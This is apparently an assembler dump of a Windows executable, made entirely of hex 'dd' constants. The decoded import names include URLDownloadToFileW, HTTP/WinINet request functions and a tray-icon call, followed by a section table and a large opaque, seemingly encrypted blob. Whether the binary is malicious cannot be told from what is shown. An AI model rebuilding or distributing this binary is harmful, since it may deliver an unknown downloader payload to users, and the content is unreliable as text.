		dd 72430100h, 65746165h, 65727453h, 6E4F6D61h, 6F6C4748h
		dd 6C6162h, 72745301h, 46676E69h, 476D6F72h, 32444955h
		dd 6C4F0100h, 696E4965h, 6C616974h, 657A69h, 656C4F01h
		dd 6E696E55h, 61697469h, 657A696Ch, 6F430100h, 43746547h
		dd 7373616Ch, 656A624Fh, 1007463h, 61546F43h, 654D6B73h
		dd 6C6C416Dh, 100636Fh,	6E556F43h, 74696E69h, 696C6169h
		dd 100657Ah, 61546F43h,	654D6B73h, 6165526Dh, 636F6C6Ch
		dd 6F430100h, 74696E49h, 696C6169h, 100657Ah, 614D6F43h
		dd 61687372h, 746E496Ch, 68547265h, 64616572h, 65746E49h
		dd 63616672h, 536E4965h, 61657274h, 6E00006Dh, 2C000001h
		dd 0FF0001C2h, 0A2FF0115h, 2FF00h, 0FF0007FFh, 0A1FF0009h
		dd 96FF00h, 0FF0008FFh,	4FF0139h, 1A4FF00h, 0FF0095FFh
		dd 7B000006h, 64000001h, 10001C2h, 6C656853h, 6F4E5F6Ch
		dd 79666974h, 6E6F6349h, 87000057h, 0D4000001h,	10001C3h
		dd 444C5255h, 6C6E776Fh, 5464616Fh, 6C69466Fh, 5765h, 192h
		dd 1C26Ch, 73694401h, 63746170h, 73654D68h, 65676173h
		dd 4D010057h, 5765766Fh, 6F646E69h, 47010077h, 69577465h
		dd 776F646Eh, 65440100h, 6E695766h, 50776F64h, 57636F72h
		dd 61430100h, 69576C6Ch, 776F646Eh, 636F7250h, 53010057h
		dd 69577465h, 776F646Eh, 74786554h, 45010057h, 6C62616Eh
		dd 6E695765h, 776F64h, 6E655301h, 73654D64h, 65676173h
		dd 52010057h, 61656C65h, 61436573h, 72757470h, 43010065h
		dd 74616572h, 6E695765h, 45776F64h, 1005778h, 69577349h
		dd 776F646Eh, 68530100h, 6957776Fh, 776F646Eh, 65530100h
		dd 79614C74h, 64657265h, 646E6957h, 7441776Fh, 62697274h
		dd 73657475h, 65470100h, 72754374h, 50726F73h, 100736Fh
		dd 57746553h, 6F646E69h, 736F5077h, 65470100h, 73795374h
		dd 6F6C6F43h, 47010072h, 65447465h, 6F746B73h, 6E695770h
		dd 776F64h, 64655201h, 57776172h, 6F646E69h, 53010077h
		dd 69577465h, 776F646Eh, 676E6F4Ch, 47010057h, 6C447465h
		dd 65744967h, 5201006Dh, 61656C65h, 43446573h, 65470100h
		dd 616C4374h, 614E7373h, 57656Dh, 73795301h, 506D6574h
		dd 6D617261h, 72657465h, 666E4973h, 100576Fh, 57746547h
		dd 6F646E69h, 78655477h, 1005774h, 57746547h, 6F646E69h
		dd 6E6F4C77h, 1005767h,	61766E49h, 6164696Ch, 65526574h
		dd 1007463h, 69676552h,	72657473h, 73616C43h, 57784573h
		dd 72540100h, 6C736E61h, 4D657461h, 61737365h, 1006567h
		dd 44746547h, 55010043h, 6765726Eh, 65747369h, 616C4372h
		dd 417373h, 736F5001h, 69755174h, 73654D74h, 65676173h
		dd 68430100h, 6F4C7261h, 57726577h, 72430100h, 65746165h
		dd 6E6F6349h, 69646E49h, 74636572h, 65500100h, 654D6B65h
		dd 67617373h, 1005765h,	7373654Dh, 42656761h, 57786Fh
		dd 73654401h, 796F7274h, 6E6F6349h, 6E450100h, 69615064h
		dd 100746Eh, 65696C43h,	6F54746Eh, 65726353h, 1006E65h
		dd 74736544h, 57796F72h, 6F646E69h, 47010077h, 69577465h
		dd 776F646Eh, 74786554h, 676E654Ch, 576874h, 73654401h
		dd 796F7274h, 65636341h, 6172656Ch, 54726F74h, 656C6261h
		dd 63530100h, 6E656572h, 6C436F54h, 746E6569h, 65470100h
		dd 6E695774h, 52776F64h, 746365h, 74654701h, 7373654Dh
		dd 57656761h, 68430100h, 654E7261h, 577478h, 67655201h
		dd 65747369h, 6E695772h, 4D776F64h, 61737365h, 576567h
		dd 6C694601h, 6365526Ch, 49010074h, 69684373h, 100646Ch
		dd 43746553h, 75747061h, 1006572h, 74736F50h, 7373654Dh
		dd 57656761h, 65530100h, 726F4674h, 6F726765h, 57646E75h
		dd 6F646E69h, 47010077h, 6F467465h, 737563h, 74654701h
		dd 65726150h, 100746Eh,	61766E49h, 6164696Ch, 67526574h
		dd 4C01006Eh, 4364616Fh, 6F737275h, 1005772h, 69577349h
		dd 776F646Eh, 62616E45h, 64656Ch, 74654701h, 65696C43h
		dd 6552746Eh, 1007463h,	61657243h, 63416574h, 656C6563h
		dd 6F746172h, 62615472h, 57656Ch, 74655301h, 75636F46h
		dd 42010073h, 6E696765h, 6E696150h, 47010074h, 6C437465h
		dd 49737361h, 456F666Eh, 5778h,	19Dh, 1C364h, 746E4901h
		dd 656E7265h, 6F6C4374h, 61486573h, 656C646Eh, 65440100h
		dd 6574656Ch, 436C7255h, 65686361h, 72746E45h, 1005779h
		dd 65746E49h, 74656E72h, 72657551h, 74614479h, 61764161h
		dd 62616C69h, 100656Ch,	65746E49h, 74656E72h, 64616552h
		dd 656C6946h, 6E490100h, 6E726574h, 6F437465h, 63656E6Eh
		dd 1005774h, 70747448h,	646E6553h, 75716552h, 57747365h
		dd 6E490100h, 6E726574h, 704F7465h, 576E65h, 74744801h
		dd 65704F70h, 7165526Eh, 74736575h, 0A9000057h,	88000001h
		dd 0FF0001C3h, 73h, 50000000h, 4C000045h, 53000401h, 496C6Dh
		dd 0
		dd 0E0000000h, 0B010300h, 901h,	1BAh, 4E2h, 35000000h
		dd 0BDh, 10h, 1D0h, 4000h, 10h,	5000002h, 0
		dd 5000000h, 2 dup(0)
		dd 6D0h, 4, 2000000h, 800000h, 1000h, 10h, 1000h, 10h
		dd 10000000h, 2	dup(0)
		dd 0FC000000h, 0DC00027Ch, 0
		dd 310h, 3BBh, 0Dh dup(0)
		dd 70000000h, 4000024Dh, 3 dup(0)
		dd 0DC0001D0h, 3, 5 dup(0)
		dd 2E000000h, 74786574h, 0DF000000h, 1B8h, 10h,	1BAh, 4
		dd 2 dup(0)
		dd 20000000h, 2E600000h, 74616472h, 0CC000061h,	0C1h, 1D0h
		dd 0C2h, 1BEh, 2 dup(0)
		dd 40000000h, 2E400000h, 61746164h, 98000000h, 62h, 2A0h
		dd 44h,	280h, 2	dup(0)
		dd 40000000h, 2EC00000h, 63727372h, 0
		dd 3BBh, 310h, 3BCh, 2C4h, 2 dup(0)
		dd 40000000h, 400000h, 0B40006C0h, 281h, 6CEC700h, 0EF83AF00h
		dd 0D496BD90h, 3BCBA886h, 718EF5Ah, 486E7EDEh, 65802DAAh
		dd 0A2A86E5Ch, 25377204h, 6971407Dh, 75BD4B87h,	11870B1Ah
		dd 65510684h, 59946D50h, 59A80C36h, 669AE057h, 0F228ED84h
		dd 0AC6220C0h, 40399CB9h, 86C945D1h, 9116AAA4h,	0D8954662h
		dd 9EEEF129h, 0D6FC9A3h, 543FC708h, 49C4F71Fh, 0EB5A677Ah
		dd 3C0A4B24h, 46EABD49h, 0B65C1C9h, 0E138C4BCh,	0A4DFB9CAh
		dd 69093CEDh, 5C3104AFh, 0F762FB38h, 7D55CA90h,	0F31216D9h
		dd 722DAB73h, 9DDBE93h,	0D2737923h, 0A4829Eh, 30D761F0h
		dd 44027649h, 36A9DFFDh, 76795A9Eh, 0F544E46Fh,	0E78F78A4h
		dd 719CECE2h, 0DE4C8989h, 56BA121Fh, 0EAC9173h,	2DDA8BDAh
		dd 6A65969Eh, 69E78DC2h, 0F53CC665h, 3A712518h,	231C0BE8h
		dd 8F80AFF7h, 9430F38h,	9A2FB8C7h, 0A823D769h, 24648EF5h
		dd 4A8736DCh, 15105E3h,	7611DAFEh, 6B7BC188h, 388A447Dh
		dd 8E9CA812h, 34BB22F2h, 8DDDDDF4h, 65898A00h, 48032352h
		dd 0FFC64294h, 97A58BEEh, 0EAB1528Bh, 0FEC5442h, 0F25A75BCh
		dd 0CDF36E3Bh, 0C9D7BABCh, 0CE5D15BEh, 0B95051ACh, 7BCBE817h
		dd 0DAE77F7Ch, 0F1D24F63h, 0B67FD3C4h, 0B46220h, 0A7B857CFh
		dd 0F9F19775h, 0A8A32BE9h, 14E48314h, 0C6EF2B2Ah, 2F446616h
		dd 2A484E24h, 41666F3Ah, 623A443Ah, 150581B3h, 0AB6A258h
		dd 4BA0F04Eh, 802C9ADDh, 0D70DEE35h, 0CED4B81Ch, 51921B01h
		dd 90800EDCh, 47DDDEE2h, 0F4DB8AADh, 6D16102Fh,	69D9C0E2h
		dd 813799D4h, 0AAB9A75Bh, 0FBA2D81h, 4F4943D8h,	0B9F68FDBh
		dd 576F168Bh, 5B804105h, 84CD64BEh, 0E7F97E60h,	83B7B5BEh
		dd 1354ED8Ah, 0C5827A3Ch, 38945474h, 0D3193B4Bh, 81E12B56h
		dd 1CF0C34Eh, 0E7EC694Fh, 0A8138241h, 54E16105h, 41442BD5h
		dd 0F3C8FAE9h, 0AE40F815h, 78BA99CAh, 74C4696Fh, 0B262779Ch
		dd 973E9515h, 31B181B0h, 2F23F5A9h, 0A930175Dh,	0AE1341D5h
		dd 1FF6A283h, 0CE91763Eh, 4A1F179Ch, 565FAFC4h,	966C2E09h
		dd 0A40F4A0Bh, 439E49A9h, 48F96C70h, 0DA55BD22h, 60E926F3h
		dd 3FD9ADA7h, 9ADE2964h, 0C42CB724h, 0C554B3D0h, 0D88971E0h
		dd 32C34497h, 3683FF8Eh, 0AF8C77CDh, 36700CA5h,	885B9819h
		dd 2F450FC2h, 7B5B8B2Fh, 0C95CEF9Ch, 64476BC4h,	6CBB7D6Eh
		dd 5A83C95Ch, 84DB8C7Ah, 6A2BF87h, 80B0323Fh, 22E292Eh
		dd 145A9198h, 0A170F3BDh, 8F187735h, 0E0D014A7h, 64292D7Dh
		dd 0D29C782Dh, 58C1BA7Ch, 9EF42B0Dh, 0CA160EDAh, 0BB888E88h
		dd 0C1AD0757h, 0ADE4CA30h, 311F80C8h, 0D8CD10A1h, 0BFB4ACF4h
		dd 0D36D9A04h, 664B7214h, 0CC3C07ABh, 24366D48h, 0FE9A5F2Ch
		dd 0D08D6DC6h, 0B06D874Bh, 0BD266A43h, 0CFFCBB8Bh, 715637F0h
		dd 621F2A23h, 442733B2h, 1B52CAD3h, 3DD484Fh, 2022B1A5h
		dd 371CB9C4h, 0A2978BEh, 0E222600Bh, 3A6A420Dh,	63AC4713h
		dd 54ECD3C8h, 514574CCh, 7FD6FE00h, 0BAD90522h,	946F8B84h
		dd 0F7A0457Dh, 4A3B5481h, 0DD2D7577h, 8E4A8F80h, 0D2ACC9CCh
		dd 0DC2E3C9Bh, 0C50AE70Ah, 1B5045h, 0F0D8AD32h,	5086060Fh
		dd 1DA5A405h, 0B64DA9DAh, 89097CB2h, 95D08C9Eh,	47B9F6A4h
		dd 26E8AF63h, 97D940C7h, 1DC9DF29h, 0E4F0F6BBh,	6F254579h
		dd 0D0A3F565h, 2063FA34h, 189EBBE5h, 97400023h,	15FBCD5Bh
		dd 3746D2E4h, 9DE03B47h, 0DCC24C6Fh, 5E51E9E5h,	5AB264EFh
		dd 7ABE5CF7h, 1936398Ah, 5CDFAA1h, 0FE607B3Eh, 0F185B5B7h
		dd 0B612DBF1h, 0B6D2C852h, 2BF03081h, 1BF4BD38h, 3688EFB1h
		dd 92AA14C4h, 0EC0CE6A8h, 4C1B68F5h, 632E2A05h,	49B526FFh
		dd 29EA2C7h, 0B6C00556h, 0ECFE9D2Bh, 0B7CE6FD6h, 435EDA6Dh
		dd 0A88A887Eh, 0B6E306D9h, 1D51B6DDh, 0C9FEDC25h, 0EEF0E2F3h
		dd 931E1978h, 66298E57h, 0B24838DEh, 33612DF9h,	0B9FEEA55h
		dd 505AA31Dh, 135D523Bh, 91CF53B5h, 88858413h, 0DE1CE51Ah
		dd 3CB3D922h, 7519DE93h, 9D0ED300h, 0F6B61170h,	83952EB1h
		dd 1464CA27h, 0BB2B2AD5h, 6DF1BBB8h, 9A38686Dh,	0A08132F3h
		dd 0AFE4A7DAh, 8561BB36h, 0BDFF8786h, 0EA9623DCh, 92E63C71h
		dd 90675DA3h, 6E02E240h, 5005962Bh, 2F11EDF8h, 8027882Ch
		dd 561E98F8h, 524C4219h, 0F0E2E6BDh, 0DFDF79CDh, 608E5C55h
		dd 0B74053E1h, 6B01E588h, 0D79E8E76h, 3C48E42Ah, 0B2A6EFABh
		dd 0DB050D50h, 0F75C7226h, 0F3EED9Ch, 69151DA2h, 0FBCC13CBh
		dd 3D6566B9h, 0AF337B89h, 0E58AECE8h, 0C762B352h, 0CA671B1Dh
		dd 0CDF76518h, 9D36796Ch, 831BB752h, 0DD2F6565h, 51A4B07Ah
		dd 13BEE0D5h, 0BAC94C9Ah, 590EA995h, 3A91F6B4h,	5A2773EAh
		dd 0FDC46FF1h, 13B04925h, 15888559h, 9CDD3B54h,	188EF363h
		dd 6CCBF8C0h, 5F8D7A62h, 0B9BBBBAEh, 69370151h,	812B48B9h
		dd 6F066006h, 2F4DC691h, 7D3BC369h, 0B2E2E4E4h,	51FE8173h
		dd 0DF348B16h, 644A9749h, 7E74EC04h, 47608377h,	93D8B4E9h
		dd 336600E5h, 62896693h, 0EBC9271Eh, 329605EDh,	8241F073h
		dd 0B1C89983h, 84EF00CEh, 1D56ED5Ch, 0FC543B0Ah, 95739A0Fh
		dd 0EA594ACBh, 2DDB6B36h, 0F24FDA68h, 0B35F3261h, 9A9B5B63h
		dd 7F850FD9h, 11184677h, 0A2CC4808h, 6CD888A6h,	30BE81AFh
		dd 0E8D3EBECh, 6C864B10h, 1232D2D3h, 86822C2Fh,	4FC601BBh
		dd 0DA645234h, 191001F9h, 43307380h, 0F7D9467Ah, 84BAEF89h
		dd 0E3FC4C50h, 3F23B243h, 0CBD0AC30h, 73C61C3Bh, 1C655D64h
		dd 881B4D2Dh, 0CA5A7789h, 610913F5h, 6A3AF390h,	8D3A3CEDh
		dd 3999F677h, 35D435E8h, 29B8796Ch, 0E363B056h,	63D38E02h
		dd 49DAAFD6h, 84286585h, 0F8B2A81h, 0CF6A1AADh,	0D09E72Dh
		dd 0E362044Ah, 569141B6h, 9CABB077h, 2CB99D7Eh,	0CEBDF8DEh
		dd 0D9575ACBh, 0B8800857h, 19335F7Dh, 3E61D401h, 0C6D9962Eh
		dd 7D3A8E90h, 0A8DB17D9h, 32DCA3E0h, 0C8BC547Ah, 3D463077h
		dd 0A6DAFC46h, 0AC979CD9h, 47869B40h, 0A1EB51D7h, 7293135Eh
		dd 5B365A41h, 0D7A4330Fh, 0E5580664h, 5B87F44Dh, 0F49AFC62h
		dd 7C1C82CBh, 395E1354h, 0A9124E32h, 0D5D371A9h, 0B68A70ECh
		dd 0B020D4F5h, 0A459C818h, 282AF86h, 469932DBh,	724FF37Dh
		dd 800B17Ah, 6A993225h,	0DE3FFA7Eh, 52825E4h, 0A21B1817h
		dd 979440F2h, 0F4AAF5CAh, 0ED26407Eh, 337868D3h, 87F261DAh
		dd 0D4E612EFh, 38296D41h, 0B1B6DC87h, 0AEA879D5h, 0B5B28F2Ch
		dd 0F2A5CDBh, 0D76176Ah, 4746EA41h, 2BCA3F21h, 323F7650h
		dd 0C87CB6FBh, 70D155D0h, 253B0E83h, 0E67D468Fh, 0E75ED22Ah
		dd 0F8CD439Fh, 404C9C3Ah, 73892AFCh, 62A82395h,	95CFC828h
		dd 0BC0F7850h, 5B04C967h, 5D26AD12h, 59ABC33Ch,	0AB894FDFh
		dd 100A8424h, 0F173B582h, 0F7AD5106h, 4EA736CEh, 1B4DC452h
		dd 763AA63Ch, 9B84E30Fh, 0F41C52F0h, 2BD1B24Dh,	63B3ACB9h
		dd 8A1F086Bh, 86449C4Fh, 4CC602E1h, 0A42D8D37h,	70C82AFBh
		dd 495F23D3h, 44B4F6EEh, 12941C00h, 928FDB8Fh, 0DB6039Ah
		dd 0DB50B965h, 0F8FD1688h, 0E92CF1DCh, 0C71D9A5Fh, 0C85FC72h
		dd 2F811A11h, 0FBEE1355h, 9C6DB2CFh, 4827B9EFh,	0FD3C8770h
		dd 0FFD261D0h, 67B28541h, 0D16575Eh, 7208686Bh,	19B5D219h
		dd 0B2B51E58h, 8AB347EFh, 0C2FD9E0Eh, 0E04C3D51h, 9525A145h
		dd 6072A2C8h, 44FC6C0Ch, 0EAE271A7h, 531B4FCCh,	25D2CD98h
		dd 0D5220B5Ch
		dd 837256A5h, 0FFE57C11h, 735CCBD6h, 0DD1A4821h, 9FE114FBh
		dd 679F043Bh, 95E397FAh, 0F9BEBD8Fh, 16EA4D33h,	721018Bh
		dd 0BF484C23h, 41B3978h, 60A5FA3Ch, 0AF2D6C48h,	34AAD4F5h
		dd 92D38430h, 0CB90AD9h, 7AFCF9Bh, 6E2275CCh, 3A8FBA04h
		dd 823FE25Fh, 0EDDB865Fh, 549F5E1Fh, 30572CBh, 5102E98Bh
		dd 0CFA2F187h, 798E750Bh, 5A645F3Dh, 78C7001Ch,	0C7A0B309h
		dd 0CEE7344Eh, 7C6E359Bh, 2C038DE1h, 120CFAB3h,	0D2ABB18Eh
		dd 0AAAADB3Ch, 0FC888C3Eh, 0DCBF32ECh, 6724568Ch, 0B963A3FAh
		dd 0BAC582B7h, 0C711B445h, 2B4C6D45h, 5CA69811h, 219A8F28h
		dd 92C5F6F5h, 0D2B74A51h, 17E49651h, 973D53ABh,	0E07C76F5h
		dd 62819BFDh, 382C3259h, 3AA1ED66h, 5D822E23h, 1F6F1A8Ch
		dd 1033132Eh, 9F5F83F0h, 0EBBA626Ah, 325EB15h, 8200C21Fh
		dd 49BA2353h, 5A14C32Dh, 0BDE72A80h, 0E21D69BAh, 7CD84C9Ah
		dd 0B5E3BB2Eh, 78132817h, 769B17BFh, 7C8A350Bh,	918489B2h
		dd 0B1BA29B4h, 610D354Ah, 8D6D8F48h, 964ABD1Ch,	6BD6F20Ch
		dd 0ECBA86B2h, 340AA69Bh, 0F7E136EFh, 62CF20DAh, 0C8B698FAh
		dd 7D061619h, 0A8B09EF3h, 26E811D8h, 0C516608Dh, 98462F92h
		dd 0C6519014h, 0A83496BAh, 2E862C22h, 0C151366Bh, 1116A6A7h
		dd 139C961Eh, 52599326h, 0B83C1168h, 9A34D526h,	1BCAB35h
		dd 208367F9h, 0A0DACE17h, 4F4C084Ch, 265FAABAh,	44210B6Eh
		dd 0D227C662h, 60E7357Eh, 0D27254D5h, 54AB3D80h, 0E8302E34h
		dd 39ADFDC8h, 34655597h, 7AB69A31h, 0C70E8BB6h,	7066A118h
		dd 2F4E4BA5h, 0D7AC29B5h, 2DBC205Fh, 7B4AEDBEh,	3025BBD8h
		dd 0F780EDA7h, 0FBEEEB70h, 0E42D69EFh, 6092F8AAh, 0BA33C19h
		dd 9C4F61D5h, 0E753145Dh, 0C3E90138h, 422939EFh, 73312F97h
		dd 0B53FB2E0h, 6924F3BEh, 0C3698C6h, 0D2841359h, 0E9560C69h
		dd 0D1C84750h, 0AE7E8239h, 1D633B16h, 0ECFDACEBh, 935E6ECh
		dd 0D6080FBFh, 63D17A84h, 0EC09C2Dh, 5DE8716Ch,	0B173B233h
		dd 0F3831950h, 29E7E5E7h, 0E9C26CE5h, 0D3CEC9D5h, 0BCEB1EC4h
		dd 0B3C65FEEh, 9F66C820h, 29A63797h, 250BB916h,	95A6AA4Fh
		dd 268E2B94h, 0E682C342h, 7B7892D8h, 0A6B7355h,	11D0F27Dh
		dd 0DFC3554Ah, 0C7AF9F00h, 17E7D7F3h, 76BE1718h, 7CC051CEh
		dd 1AF03A29h, 57771813h, 0FE69A01Ch, 0AAEAF122h, 0B79361F7h
		dd 0F86E30BCh, 9B32097Bh, 9E820FF6h, 0BC3E320h,	0C40D959Dh
		dd 41BD0FC2h, 76A9BCD3h, 1138A69Dh, 95DDB93Fh, 932D5FDCh
		dd 5808E262h, 18A2782Ch, 170B1E35h, 8CE93F9Ah, 64546DFBh
		dd 3EEDB691h, 0E2E29963h, 0C7BD09Dh, 12A454A9h,	0BFF725D3h
		dd 8C515B19h, 6EEF2F35h, 67BF2A15h, 0E18CC11Bh,	0CC942B59h
		dd 0FADE1294h, 0F79F9E37h, 742FB375h, 7173FE30h, 7705D0A7h
		dd 91A19CCEh, 55D3532Fh, 3F33B514h, 8F605476h, 3F9F1FEAh
		dd 5ED5923Eh, 0E8271CD6h, 0AE8D029Eh, 9D3FC156h, 9E395ADh
		dd 0E7424947h, 0FB933CCBh, 42666D01h, 0E49A05C7h, 0B498143Ah
		dd 0CC0548E6h, 0D2D15B9h, 3736867Ah, 9B741725h,	0F8BF868Dh
		dd 7BC1000Ch, 0C6E13344h, 5754534Bh, 3C3A1A77h,	0BC11913Bh
		dd 42703FAh, 6F34D3EFh,	3A9BEE2Ah, 6236D4F2h, 0F72C362Dh
		dd 35B2C49Bh, 4F964AB5h, 3BB31B0Eh, 8D3AC331h, 49D94375h
		dd 0C6426FBDh, 0B3EF082h, 99C7CE65h, 1C59C000h,	8008F82h
		dd 50E70035h, 0DC3DD07Fh, 0AC5A3C12h, 1E73D914h, 627C631Eh
		dd 0A3EBB6CDh, 4EFF7B31h, 0DBFEF24Ah, 0A102E620h, 0AE588D3Eh
		dd 2B9826CCh, 0DFFBCF25h, 0C049DCC6h, 23BB25CAh, 0E998C2CCh
		dd 0E353B243h, 9BD37024h, 7190CE9h, 3821F893h, 0D19754E3h
		dd 49BE1Ch, 0D14C79Bh, 592B5E6Dh, 31FC79CCh, 3D57F971h
		dd 0DD09D614h, 74EEC399h, 862DDB0h, 9A852DEDh, 64E88DAAh
		dd 0A29D3C29h, 32E54EB6h, 49407B95h, 0E4548460h, 0DB6F5A8Fh
		dd 863BB5D7h, 90232F73h, 35E33E55h, 5F7FB5F9h, 0A4286669h
		dd 0DD83B00Ah, 76EF465Ah, 48ACB291h, 86068C54h,	8CDE8FA2h
		dd 7C4C8281h, 0E85451Bh, 4C399F74h, 0C14F84B4h,	96DE54E0h
		dd 6AFDBA01h, 75F50FBh,	0EC2E2906h, 3306105Fh, 4CBB8F79h
		dd 0DE600908h, 7990FE97h, 0E720FFA8h, 5CF7BA63h, 1311409h
		dd 51683D2Ah, 4684A984h, 3F04FC16h, 20CFB8B1h, 0E3A5C5Ah
		dd 4F8E26E9h, 0DDBD74D8h, 0C34DACE3h, 94D4BCFDh, 0BEB2EEFFh
		dd 8F307035h, 0E9FD22F2h, 0F6CEAE0Dh, 0E2765EB0h, 0EE21113Bh
		dd 5041614Bh, 1792088Ch, 0F87B1ADDh, 0D7EA9BD2h, 86E47D05h
		dd 0AAB4BA5Ch, 0B89A71F2h, 0F1090EE9h, 0D0952318h, 0EC4FA2BAh
		dd 0AB40FC39h, 4281F170h, 177AFA56h, 4DE13C52h,	8627AAC2h
		dd 84AEB439h, 0DECD6608h, 7C463690h, 793EB6F8h,	1F80A669h
		dd 0A9AC1CBDh, 6C172E6h, 0C961B523h, 2F78F49h, 8FD7275Ch
		dd 381BFB00h, 0CF9FDA7Bh, 48342452h, 67786AC1h,	0A647BD4Fh
		dd 5B1E4BA5h, 0FF5FCAB6h, 0C4FA75B3h, 4EE1AC49h, 0A5211C31h
		dd 51134895h, 7D10A8E3h, 0B1BE765Fh, 5935E54Ah,	5BDCB2A2h
		dd 0C13AB896h, 2ADA432Fh, 4FCCD342h, 8BA1C068h,	0B3E8F010h
		dd 2CE1807Dh, 0B3FBC386h, 0CF4C059h, 46B84AC7h,	46722B5Ch
		dd 93D33990h, 77B35EBAh, 86B85A44h, 0DC3B052Dh,	0EED42D80h
		dd 924189E0h, 4B329F31h, 0A87516C8h, 3840B53Ch,	72510A30h
		dd 579678FFh, 908FDD8Ch, 0E16C80E6h, 13597799h,	38507A93h
		dd 0CB7FC8FEh, 0D3FE2722h, 0B26F3EADh, 2D1E1991h, 0C8054806h
		dd 0FBFE8672h, 0F8F6E5DAh, 1BCBD521h, 7BAB1317h, 5F63A85Ah
		dd 6DE860B2h, 4227806Fh, 0FCFEDBB4h, 0C96C2B76h, 97CFB90Eh
		dd 1080938Eh, 0FD0FB9D6h, 546CDCC3h, 2F91FC40h,	61ACBE0Ch
		dd 591638A9h, 0F896EFA0h, 0ABB311FAh, 0A2EE5000h, 0C7ABF3D8h
		dd 0C34CDEA7h, 0ABAAC086h, 92AD96C7h, 2353D930h, 9ACB896Ch
		dd 0F7682C10h, 0A3FF0EBh, 0DB0A5CA8h, 0D526F5F6h, 2D02E71Eh
		dd 0DC2749C2h, 0CC5A2137h, 407954DAh, 9E82B231h, 0C114007Ah
		dd 3B00327Ch, 0AA67A46Eh, 0F358E11Fh, 1CF6ABB2h, 0B5CF10EEh
		dd 0B72DA8A4h, 364BEFEAh, 0C60327D6h, 467851DCh, 9A1BD1D8h
		dd 0AC424C8Bh, 0AE49282Bh, 5ADF40DAh, 0DCC3EB5Eh, 16F60F45h
		dd 8805F68Ch, 2275BDAFh, 0DE75848h, 0C2A6DBEEh,	5549460Dh
		dd 9C82112Ah, 5BFD01B1h, 31F41FF5h, 5EE73017h, 0BDD717EAh
		dd 3C1E13F0h, 0D7153794h, 0D98EED88h, 69163BDh,	0CDFE1813h
		dd 0F4AE8B57h, 8DFA9A7Dh, 91F5DC65h, 75EA863Fh,	83C59FCAh
		dd 9C0BF902h, 16568E61h, 0A01F35F1h, 0E609CA72h, 6222D2FAh
		dd 0DCD61E85h, 12CD72DDh, 0CA4D99EFh, 0CE0D5822h, 0DD5838EDh
		dd 118A1A03h, 16B3DCC4h, 8FFD3299h, 52A106E2h, 2497C27Dh
		dd 0DB811ECFh, 0B8648BE6h, 55C26F74h, 0EDB0722h, 0CEB18F51h
		dd 0DDB6973h, 65BB4FFDh, 1ED19EC2h, 7BABE7A5h, 2F205706h
		dd 15C00C43h, 209C5693h, 0F160E5EDh, 187CCB93h,	0DB269AC5h
		dd 0BD3491F0h, 73798097h, 567CB56Ch, 57AC2ED7h,	46B805D3h
		dd 1140702Fh, 8BA03703h, 235F9539h, 0EFD7F7A5h,	0E89059BDh
		dd 0C4209F1Dh, 464DA428h, 0E7AEF364h, 0FEBD7440h, 0B8CF468Ch
		dd 0DE2498DBh, 9E64E4E8h, 0E2B43D3h, 78DE007Ch,	613D57C2h
		dd 0CFE48C4Ah, 551A9C33h, 139A08B8h, 2F078326h,	0C2DF7B18h
		dd 0C081C12Ch, 0A1FC274Bh, 82033684h, 5A4EB5B8h, 0BD00A6Fh
		dd 8E470C66h, 0FB1CE8D5h
		dd 918BFBCDh, 0E79AD170h, 13D5FB66h, 7719083Ah,	583D2F2Bh
		dd 2706F802h, 60FA80B0h, 0A34215EFh, 8ED681Fh, 0CD490ADBh
		dd 14CD4F1Dh, 4044E9FCh, 7B684ED4h, 25D74805h, 5757B19Eh
		dd 0A2DF7583h, 0DE736A20h, 0AFDF66F3h, 13648DDh, 36FD6296h
		dd 0FCC75728h, 3418CD7Eh, 8498819Fh, 6903E191h,	0C609BB84h
		dd 3ABCC26Fh, 0B1B0FACFh, 77A397AFh, 1918D15Bh,	1B748C13h
		dd 0A6044A05h, 0F50BA3B1h, 76E5699Ah, 7C2E910Bh, 0FEE27870h
		dd 0D34132BFh, 82E59EE9h, 71723CB9h, 4ADC2088h,	0A3268FACh
		dd 0CD4ECF18h, 86FEDDFBh, 557F5A1Bh, 416FE6DAh,	52D2D054h
		dd 0E4120EBFh, 3AD7CE38h, 0A1288CDCh, 56F9A5B8h, 7632397Ch
		dd 249FFEF7h, 2A16242Eh, 26770E59h, 0D50C05EFh,	9B603BC9h
		dd 0DF61DE31h, 0F5FE75E2h, 0E1E2A6E9h, 25127139h, 25F72015h
		dd 58E3B1CBh, 5718CBAEh, 0CF048EBAh, 0BA27B750h, 0C0302D87h
		dd 26EAF1BDh, 0E3000C1Bh, 7370E6E5h, 88026640h,	20E6352Eh
		dd 0C47F4AF2h, 6EDAB4C3h, 1693989h, 3DF90DD4h, 50C81A77h
		dd 0C0432E2Ch, 0B91B944Fh, 83143D9Ah, 0AA5A479Bh, 9012C76Ah
		dd 9046E08Ah, 4FFBB626h, 0B7DA54CEh, 0EBFA2324h, 0EEE466AFh
		dd 0C394943Fh, 0FA694889h, 622BCAFCh, 5CE25B19h, 4E1740B8h
		dd 0A59E2F7Ah, 3A25A86Dh, 479189FDh, 0B60462EAh, 48C9C40Fh
		dd 41D258DEh, 80F73E2Eh, 4CB9A630h, 8A9536C4h, 9D9A7150h
		dd 2D6B8636h, 0EAA9979Ah, 1E04C57Dh, 0B545F532h, 0FA1BBA7Ch
		dd 0BBE7428Fh, 8B00045Bh, 4D347550h, 9627EC45h,	39594CA4h
		dd 34E78A97h, 13AFD9C4h, 5FF44BB4h, 55CC96F7h, 580C86D6h
		dd 4F97717Ah, 67F5372Dh, 81FC64D1h, 26F3CE53h, 0DFA4D92Ch
		dd 57D36ED6h, 0ADBC5D42h, 296D3EFEh, 75B652F1h,	629E5054h
		dd 6C7D96DAh, 6C8C3474h, 0DD16DB85h, 86CE5AE2h,	417F02B0h
		dd 9272A8CBh, 589DF51h,	0AB738B75h, 0F0CE93ADh,	7393453Ah
		dd 80E5D81Bh, 419977DBh, 0AAA084E0h, 0CC341F45h, 884DBB3Bh
		dd 0A3F44C7Bh, 0F9389C4Fh, 22002FDCh, 0BFC4A845h, 5AF6A52Ah
		dd 3C88EF3h, 169F9C46h,	9517170Bh, 7FDCBCBDh, 699F41B7h
		dd 0D3323CDEh, 0AAB5E0B7h, 1C49EB4Ah, 0F0826FDh, 0A5E7E3B2h
		dd 0C027068Eh, 0C09DCC00h, 47C73FB1h, 0C1B94268h, 0FC974CB1h
		dd 6AF7200Fh, 49CAFFB0h, 0B47C8BB1h, 78ED756h, 33352C38h
		dd 34C2D15Bh, 879928E9h, 0B2F8A91Eh, 0C80AD7BAh, 0BCD52ADBh
